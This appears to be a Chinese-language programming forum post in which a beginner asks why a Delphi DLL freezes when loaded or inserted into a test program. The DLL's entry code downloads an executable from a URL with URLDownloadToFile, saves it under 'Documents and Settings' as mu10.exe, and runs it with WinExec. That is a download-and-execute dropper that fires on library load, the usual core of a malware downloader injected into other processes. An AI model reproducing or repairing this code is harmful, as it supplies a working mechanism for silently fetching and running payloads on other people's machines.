K
kylinshine
Unregistered / Unconfirmed
GUEST, unregistred user!
我写了一个简单的DownTest.dll,是下载一个计算器,下面是DownTest代码,发现在插入到测试程序时候都好象假死一样,即使我不插入只是简单的loadlibrary都出现假死,(ps:我只写了一句就是loadlibrary('downtest.dll'),而且DownTest没有起作用.请问我的Downtest写的有问题吗~~~ 还是在loadlibrary过程有问题,小弟才入门学习windows下编程,对dll这些东西也是最近需要才临时看书的.<br>_________________________________________________________________________<br>library DownTest;<br>uses<br> SysUtils,<br> System,<br> windows,<br> Urlmon,<br> Classes;<br><br>procedure DllEntryPoint;<br> begin<br> URLDownloadToFile(nil, 'http://www.sina.com/calc.exe', 'C:/Documents and Settings/mu10.exe', 0, nil);//http://www.sina.com/calc.exe 这个地址我改了,自己测试时候地址是对的~~<br>WinExec('C:/Documents and Settings/mu10.exe', SW_SHOW); <br> end;<br>begin<br> DllEntryPoint;<br>end.<br>_________________________________________________________________________<br>分不多 请高手指教